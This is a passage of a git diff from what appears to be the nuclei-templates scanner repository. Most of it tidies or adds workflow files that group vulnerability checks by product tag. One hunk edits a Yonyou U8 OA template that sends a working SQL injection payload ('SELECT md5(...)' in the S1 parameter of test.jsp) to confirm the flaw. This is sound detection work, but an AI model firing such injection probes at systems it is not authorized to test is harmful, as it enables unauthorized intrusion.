condition: and + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/other/yonyou-u8-oa-sqli.yaml b/vulnerabilities/yonyou/yonyou-u8-oa-sqli.yaml similarity index 76% rename from vulnerabilities/other/yonyou-u8-oa-sqli.yaml rename to vulnerabilities/yonyou/yonyou-u8-oa-sqli.yaml index e65cbf9cab..312e2d95f2 100644 --- a/vulnerabilities/other/yonyou-u8-oa-sqli.yaml +++ b/vulnerabilities/yonyou/yonyou-u8-oa-sqli.yaml @@ -8,17 +8,20 @@ info: - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html tags: yonyou,oa,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{randstr}}))" + - '{{BaseURL}}/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{num}}))' matchers-condition: and matchers: - type: word part: body words: - - '{{md5("{{randstr}}")}}' + - '{{md5({{num}})}}' - type: status status: diff --git a/workflows/azure-workflow.yaml b/workflows/azure-workflow.yaml new file mode 100644 index 0000000000..ff106ce9ae --- /dev/null +++ b/workflows/azure-workflow.yaml @@ -0,0 +1,9 @@ +id: azure-workflow + +info: + name: Azure Checks + author: DhiyaneshDk + description: A simple workflow that runs all Azure related nuclei templates on a given target. + +workflows: + - tags: azure diff --git a/workflows/dell-idrac-workflow.yaml b/workflows/dell-idrac-workflow.yaml index bdf4e83b20..9e3b04a9f6 100644 --- a/workflows/dell-idrac-workflow.yaml +++ b/workflows/dell-idrac-workflow.yaml @@ -1,4 +1,5 @@ id: dell-idrac-workflow + info: name: Dell iDRAC Security Checks author: kophjager007 @@ -19,4 +20,4 @@ workflows: - template: technologies/dell/dell-idrac9-detect.yaml subtemplates: - - template: default-logins/dell/dell-idrac9-default-login.yaml \ No newline at end of file + - template: default-logins/dell/dell-idrac9-default-login.yaml diff --git a/workflows/emerge-workflow.yaml b/workflows/emerge-workflow.yaml new file mode 100644 index 0000000000..b7a0e97272 --- /dev/null +++ b/workflows/emerge-workflow.yaml @@ -0,0 +1,9 @@ +id: emerge-workflow + +info: + name: eMerge Checks + author: DhiyaneshDk + description: A simple workflow that runs all eMerge related nuclei templates on a given target. + +workflows: + - tags: emerge diff --git a/workflows/gocd-workflow.yaml b/workflows/gocd-workflow.yaml index 561cecc9a6..7f69fdf1dd 100644 --- a/workflows/gocd-workflow.yaml +++ b/workflows/gocd-workflow.yaml @@ -1,4 +1,5 @@ id: gocd-workflow + info: name: GoCD Security Checks author: dhiyaneshDk @@ -7,4 +8,4 @@ info: workflows: - template: exposed-panels/gocd-login.yaml subtemplates: - - tags: gocd \ No newline at end of file + - tags: gocd diff --git a/workflows/jellyfin-workflow.yaml b/workflows/jellyfin-workflow.yaml index 126b6dbc0e..0b116ac430 100644 --- a/workflows/jellyfin-workflow.yaml +++ b/workflows/jellyfin-workflow.yaml @@ -1,4 +1,5 @@ id: jellyfin-workflow + info: name: Jellyfin Security Checks author: dwisiswant0 @@ -8,4 +9,4 @@ workflows: - template: technologies/jellyfin-detect.yaml subtemplates: - template: cves/2020/CVE-2020-26948.yaml - - template: cves/2021/CVE-2021-21402.yaml \ No newline at end of file + - template: cves/2021/CVE-2021-21402.yaml diff --git a/workflows/joomla-workflow.yaml b/workflows/joomla-workflow.yaml index 077185c1ca..5bc2af54ba 100644 --- a/workflows/joomla-workflow.yaml +++ b/workflows/joomla-workflow.yaml @@ -3,7 +3,7 @@ id: joomla-workflow info: name: Joomla! Security Checks author: daffainfo - description: A simple workflow that runs all Joomla related nuclei templates on a given target. + description: A simple workflow that runs all Joomla! related nuclei templates on a given target. workflows: - template: technologies/tech-detect.yaml diff --git a/workflows/magento-workflow.yaml b/workflows/magento-workflow.yaml index 24e15e9433..2bfe4efe3a 100644 --- a/workflows/magento-workflow.yaml +++ b/workflows/magento-workflow.yaml @@ -8,6 +8,4 @@ info: workflows: - template: technologies/magento-detect.yaml subtemplates: - - template: exposures/configs/magento-config.yaml - - template: exposed-panels/magento-admin-panel.yaml - - template: vulnerabilities/magento/ \ No newline at end of file + - tags: magento \ No newline at end of file diff --git a/workflows/symfony-workflow.yaml b/workflows/symfony-workflow.yaml index a8a5d7c69d..dbaf450317 100644 --- a/workflows/symfony-workflow.yaml +++ b/workflows/symfony-workflow.yaml @@ -1,4 +1,5 @@ id: symfony-workflow + info: name: Symfony Security Checks author: daffainfo @@ -9,4 +10,4 @@ workflows: matchers: - name: symfony subtemplates: - - tags: symfony \ No newline at end of file + - tags: symfony diff --git a/workflows/thinkcmf-workflow.yaml b/workflows/thinkcmf-workflow.yaml index 434483bb2c..199535db5e 100644 --- a/workflows/thinkcmf-workflow.yaml +++ b/workflows/thinkcmf-workflow.yaml @@ -1,4 +1,5 @@ id: thinkcmf-workflow + info: name: ThinkCMF Security Checks author: pdteam @@ -7,4 +8,4 @@ info: workflows: - template: technologies/thinkcmf-detect.yaml subtemplates: - - tags: thinkcmf \ No newline at end of file + - tags: thinkcmf diff --git a/workflows/thinkphp-workflow.yaml b/workflows/thinkphp-workflow.yaml index d09366bb61..2a935fe989 100644 --- a/workflows/thinkphp-workflow.yaml +++ b/workflows/thinkphp-workflow.yaml @@ -1,4 +1,5 @@ id: thinkphp-workflow + info: name: ThinkPHP Security Checks author: dr_set @@ -9,4 +10,4 @@ workflows: matchers: - name: thinkphp subtemplates: - - tags: thinkphp \ No newline at end of file + - tags: thinkphp diff --git a/workflows/weblogic-workflow.yaml b/workflows/weblogic-workflow.yaml index fcca4c6bd8..f8903eb960 100644 --- a/workflows/weblogic-workflow.yaml +++ b/workflows/weblogic-workflow.yaml @@ -1,11 +1,12 @@ -id: weblogic-workflow -info: - name: WebLogic Security Checks - author: dr_set - description: A simple workflow that runs all WebLogic related nuclei templates on a given target. - -workflows: - - template: technologies/weblogic-detect.yaml - - subtemplates: - - tags: weblogic \ No newline at end of file +id: weblogic-workflow + +info: + name: WebLogic Security Checks + author: dr_set + description: A simple workflow that runs all WebLogic related nuclei templates on a given target. + +workflows: + - template: technologies/weblogic-detect.yaml + + subtemplates: + - tags: weblogic diff --git a/workflows/wordpress-workflow.yaml b/workflows/wordpress-workflow.yaml index 86bf5b16db..2fd05f8bab 100644 --- a/workflows/wordpress-workflow.yaml +++ b/workflows/wordpress-workflow.yaml @@ -1,4 +1,5 @@ id: wordpress-workflow + info: name: Wordpress Security Checks author: kiblyn11,zomsop82 @@ -8,4 +9,4 @@ workflows: - template: technologies/wordpress-detect.yaml subtemplates: - - tags: wordpress \ No newline at end of file + - tags: wordpress diff --git a/workflows/yonyou-nc-workflow.yaml b/workflows/yonyou-nc-workflow.yaml index 4d0e27a715..e725d45706 100644 --- a/workflows/yonyou-nc-workflow.yaml +++ b/workflows/yonyou-nc-workflow.yaml @@ -3,11 +3,11 @@ id: yonyou-ufida-nc-workflow info: name: Yonyou Ufida NC Security Checks author: Arm!tage - description: A simple workflow that runs all yonyou ufida nc related nuclei templates on a given target. + description: A simple workflow that runs all Yonyou Network Technology Co. (Ufida) NC related nuclei templates on a given target. workflows: - template: technologies/fingerprinthub-web-fingerprints.yaml matchers: - name: yonyou-ism subtemplates: - - tags: yonyou \ No newline at end of file + - tags: yonyou